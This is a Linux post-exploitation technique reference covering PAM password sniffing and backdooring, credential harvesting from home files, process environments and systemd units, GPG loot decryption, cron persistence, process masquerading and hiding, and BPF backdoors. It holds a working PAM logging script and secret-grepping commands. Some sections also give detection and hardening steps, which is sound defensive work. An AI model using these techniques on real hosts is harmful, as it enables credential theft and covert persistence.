Linux Post-Exploitation
Trojanized System Daemons And Reverse Proxies
Sniffing Logon Passwords with PAM
Let’s configure a PAM module to log each password each user uses to login. If you don’t know what is PAM check:
Pam Pluggable Authentication Modules
For further details check the original post. This is just a summary:[8]
Technique Overview: Pluggable Authentication Modules (PAM) offer flexibility in managing authentication on Unix-based systems. They can enhance security by customizing login processes but also pose risks if misused. This summary outlines a technique to capture login credentials using PAM, alongside mitigation strategies.
Capturing Credentials:
- A bash script named
toomanysecrets.shis crafted to log login attempts, capturing the date, username ($PAM_USER), password (via stdin), and remote host IP ($PAM_RHOST) to/var/log/toomanysecrets.log. - The script is made executable and integrated into the PAM configuration (
common-auth) using thepam_exec.somodule with options to run quietly and expose the authentication token to the script. - The approach demonstrates how a compromised Linux host can be exploited to log credentials discreetly.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
For further details check the original post. This is just a summary:[9]
The Pluggable Authentication Module (PAM) is a system used under Linux for user authentication. It operates on three main concepts: username, password, and service. Configuration files for each service are located in the /etc/pam.d/ directory, where shared libraries handle authentication.
Objective: Modify PAM to allow authentication with a specific password, bypassing the actual user password. This is particularly focused on the pam_unix.so shared library used by the common-auth file, which is included by almost all services for password verification.
Steps for Modifying pam_unix.so:
- Locate the Authentication Directive in the
common-authfile:- The line responsible for checking a user’s password calls
pam_unix.so.
- The line responsible for checking a user’s password calls
- Modify Source Code:
- Add a conditional statement in the
pam_unix_auth.csource file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process.
- Add a conditional statement in the
- Recompile and Replace the modified
pam_unix.solibrary in the appropriate directory. - Testing:
- Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.
[!TIP] You can automate this process with https://github.com/zephrax/linux-pam-backdoor
Decrypting GPG loot via homedir relocation
If you find an encrypted .gpg file and a user’s ~/.gnupg folder (pubring, private-keys, trustdb) but you can’t decrypt due to GnuPG homedir permissions/locks, copy the keyring to a writable location and use it as your GPG home.[3][4]
Typical errors you’ll see without this: “unsafe ownership on homedir”, “failed to create temporary file”, or “decryption failed: No secret key” (because GPG can’t read/write the original homedir).
Workflow:
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
If the secret key material is present in private-keys-v1.d, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected).
High-value user credential artifacts in HOME
Besides shell history and SSH keys, these user files frequently expose reusable credentials and tokens:
~/.git-credentials,~/.netrc,~/.npmrc,~/.pypirc~/.aws/credentials,~/.kube/config,~/.docker/config.json,~/.config/containers/auth.json- Desktop keyrings:
~/.local/share/keyrings/,~/.kde/share/apps/kwallet/ - DB/CLI history files:
~/.mysql_history,~/.psql_history,~/.sqlite_history
Quick triage:
ls -la ~ | grep -iE 'history|credential|token|key|secret'
ls -la ~/.ssh ~/.gnupg ~/.aws ~/.kube ~/.docker ~/.config 2>/dev/null
grep -RInE "password|token|secret|api_key|aws_access_key_id|aws_secret_access_key" \
~/.git-credentials ~/.netrc ~/.npmrc ~/.pypirc ~/.aws ~/.kube ~/.docker ~/.config 2>/dev/null
Harvesting credentials from process environment (containers included)
When you gain code execution inside a service, the process often inherits sensitive environment variables. These are a gold mine for lateral movement.
Quick wins
- Dump your current process env:
envorprintenv - Dump another process env:
tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p'- Add
strings -z /proc/<PID>/environiftr/sedaren’t handy
- Add
- In containers, also check PID 1:
tr '\0' '\n' </proc/1/environ
What to look for
- App secrets and admin creds (for example, Grafana sets
GF_SECURITY_ADMIN_USER,GF_SECURITY_ADMIN_PASSWORD)[1] - API keys, DB URIs, SMTP creds, OAuth secrets
- Proxy and TLS overrides:
http_proxy,https_proxy,SSL_CERT_FILE,SSL_CERT_DIR
Notes
- Many orchestrations pass sensitive settings via env; they are inherited by children and exposed to any arbitrary shell you spawn inside the process context.
- In some cases, those creds are reused system-wide (e.g., same username/password valid for SSH on the host), enabling an easy pivot.[1]
Systemd-stored credentials in unit files (Environment=)
Services launched by systemd may bake credentials into unit files as Environment= entries. Enumerate and extract them:[1][2]
# Unit files and drop-ins
ls -la /etc/systemd/system /lib/systemd/system
# Grep common patterns
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g'
# Example of a root-run web panel
# [Service]
# Environment="BASIC_AUTH_USER=root"
# Environment="BASIC_AUTH_PWD=<password>"
# ExecStart=/usr/bin/crontab-ui
# User=root
Operational artifacts often leak passwords (e.g., backup scripts that call zip -P <pwd>). Those values are frequently reused in internal web UIs (Basic-Auth) or other services.
Hardening
- Move secrets to dedicated secret stores (
systemd-ask-password,EnvironmentFilewith locked perms, or external secret managers) - Avoid embedding creds in unit files; prefer root-only readable drop-in files and remove them from version control
- Rotate leaked passwords discovered during tests
Cron-based persistence with loopback mutex
- Copy implants into multiple writable paths (
/tmp,/var/tmp,/dev/shm,/run/lock) and install cron entries such as*/5 * * * * /tmp/<bin>so they respawn even if removed elsewhere.[5] - Enforce single-instance execution by binding a fixed loopback port (for example,
127.0.0.1:51125or127.0.0.1:52225) and exiting ifbind()fails;ss -lntp | grep -E '51125|52225'will reveal the mutex listener. - Operators may periodically mass-kill any process whose
cmdlinecontains the dropper name (e.g.,init_stop), so reusing those names during analysis can collide; pick unique filenames.
Process masquerading via prctl + argv overwrite
- Set the short process name with
prctl(PR_SET_NAME, "<label>")(15-bytecommlimit), commonly toinit, so/proc/<pid>/statusand GUIs show a benign label.[5] - Overwrite the in-memory
argv[0]buffer after reading/proc/self/cmdlinelength and theargv[0]pointer, padding with NULs so/proc/<pid>/cmdlineandpsalso show the fake label. - Hunt by comparing
Name:in/proc/<pid>/statusagainst the real executable path and looking for loopback mutex listeners owned by processes with tiny/blank cmdlines.
Process-event-driven credential interception with ptrace
A post-root interceptor can subscribe to Linux process events through a netlink connector, select newly executed authentication programs, and attach a tracer only when a target appears. The open-source 3snake implementation traces read/write activity in sshd and sudo; the same pattern can cover su, doas, ssh, ssh-add, passwd, kinit and login, then extract candidate credentials from process memory before encrypting or exfiltrating them. Event-driven attachment is quieter and more reliable than continuously polling /proc.[10][11]
This requires root or suitable tracing capability/policy, a mounted procfs, and working ptrace. A restrictive kernel.yama.ptrace_scope reduces unprivileged tracing but does not protect a host from an interceptor that already has root or CAP_SYS_PTRACE.[10][12]
Hunt for both the process-event subscription and the short-lived attachments. TracerPid is only useful while a target is attached, so audit or eBPF telemetry for ptrace(2) is much stronger than a one-time snapshot.[11][12]
sysctl kernel.yama.ptrace_scope
ss -a -f netlink -p # Unexpected process-connector subscribers
for p in /proc/[0-9]*/status; do awk '$1=="TracerPid:" && $2!=0 {print FILENAME, $0}' "$p"; done
sudo auditctl -a always,exit -F arch=b64 -S ptrace -k ptrace_watch
sudo auditctl -a always,exit -F arch=b32 -S ptrace -k ptrace_watch 2>/dev/null
sudo ausearch -k ptrace_watch -i
Prioritize a tracer whose executable path does not match its displayed comm/argv, attaches to several authentication binaries, or runs under a kernel-thread-looking name from a normal user-space ELF.[11]
Hiding a process by masking /proc/<pid>
With mount privileges, an implant can bind-mount another directory over its own /proc/<pid> subtree. Tools that depend on that procfs entry may then fail to resolve the process executable, command line, maps or descriptors even though the task still runs. This can be combined with prctl/argv masquerading without loading a kernel module, but the mask is scoped to the mount namespace in which it was created.[11]
Inspect the current mount namespace first, then every accessible process mount namespace because findmnt alone does not reveal masks isolated elsewhere.[11]
findmnt -rn -o TARGET,SOURCE,FSTYPE | awk '$1 ~ "^/proc/[0-9]+$"'
grep -HEn ' /proc/[0-9]+ ' /proc/[0-9]*/mountinfo 2>/dev/null
for ns in /proc/[0-9]*/ns/mnt; do readlink "$ns"; done 2>/dev/null | sort | uniq -c
A per-PID mount is highly unusual. Correlate it with the namespace owner, readlink /proc/<pid>/exe, cgroup/unit membership and kernel process telemetry before unmounting it for analysis.[11]
Kernel-resident passive backdoors via BPF (BPFDoor-style)
Some Linux backdoors avoid exposing any listening port by attaching a malicious BPF socket filter to a raw or packet socket. The implant stays passive, inspects inbound traffic in the kernel path, and only spawns a bind/reverse shell when a controller sends the correct trigger. This means netstat, ss, and nmap can look normal until activation.[6]
Common tradecraft patterns:
- Split implant/controller model: the implant only filters traffic and executes the next stage; a separate controller crafts the activation packet and drives the shell.
- HTTPS-hidden trigger delivery: newer variants can hide the activation bytes inside normal-looking HTTPS requests so the trigger survives reverse proxies, load balancers, and TLS termination paths.
- Fixed-offset “magic ruler” checks: instead of fully parsing HTTP, the controller pads data so a marker such as
9999lands at a predictable offset. Rapid7 observed26-byte rulers withSOCK_DGRAMand40-byte rulers withSOCK_RAW. - ICMP relay/control traffic: compromised hosts can forward commands inside crafted ICMP payloads. A sentinel such as
0xFFFFFFFFcan be used as a “final destination / do not forward” marker. - Protocol-aware filtering: filtering unusual transports such as SCTP moves the implant closer to telecom signaling traffic instead of normal enterprise TCP services.
- Masquerading: combine the trapdoor with the
prctl/argv[0]process renaming tricks from the previous section and with daemon-looking PID or lock files.
Practical hunt from a live host:[7]
# Raw/packet sockets and attached filters
ss -0pb | egrep -i 'packet|raw'
cat /proc/net/packet
# Map suspicious PIDs to their real executable and cmdline
for p in /proc/[0-9]*; do
exe=$(readlink "$p/exe" 2>/dev/null)
cmd=$(tr '\0' ' ' < "$p/cmdline" 2>/dev/null)
[ -n "$exe" ] && printf "%s | %s | %s\n" "${p##*/}" "$exe" "$cmd"
done | egrep -i 'agetty|smartd|init|dockerd|hpas'
# Common environment markers and deleted/fileless execution
grep -aHE 'HOME=/tmp|HISTFILE=/dev/null' /proc/[0-9]*/environ 2>/dev/null
find /proc/[0-9]*/exe -lname '*deleted*' -ls 2>/dev/null
# Mutex / pid artifacts often used to prevent double execution
find /var/run /run -maxdepth 1 -type f \( -name '*.pid' -o -name '*.lock' \) \
-size 0c -printf '%m %p\n' 2>/dev/null
# Persistence paths worth checking after finding a suspicious PID
grep -RInE 'iptables|bpfd|dockerd|hpas|/dev/shm|/var/tmp|/tmp/' \
/etc/systemd /etc/init.d /etc/rc*.d /etc/cron* 2>/dev/null
If the host supports bpftool, also baseline legitimate BPF usage. Unexpected packet filters, raw sockets, or process names that do not match the backing executable are strong post-exploitation signals even when no listening port is visible.[7]
References
- [1] 0xdf – HTB Planning (Grafana env creds reuse, systemd BASIC_AUTH)
- [2] alseambusher/crontab-ui
- [3] 0xdf – HTB Environment (GPG homedir relocation to decrypt loot)
- [4] GnuPG Manual – Home directory and GNUPGHOME
- [5] Inside GoBruteforcer: AI-generated server defaults, weak passwords, and crypto-focused campaigns
- [6] Rapid7 Labs - BPFdoor in Telecom Networks: Sleeper Cells in the Backbone
- [7] Rapid7 Labs - Linux BPFDoor Detection Script
- [8] Embrace The Red – Post Exploitation: Sniffing Logon Passwords with PAM
- [9] Creating a Backdoor in PAM in 5 Line of Code
- [10] 3snake - dump sshd and sudo credential-related strings
- [11] Gaming the System: How a Chinese-Speaking Actor Turned Brazilian Government Sites into an SEO Weapon
- [12]
ptrace(2)Linux manual page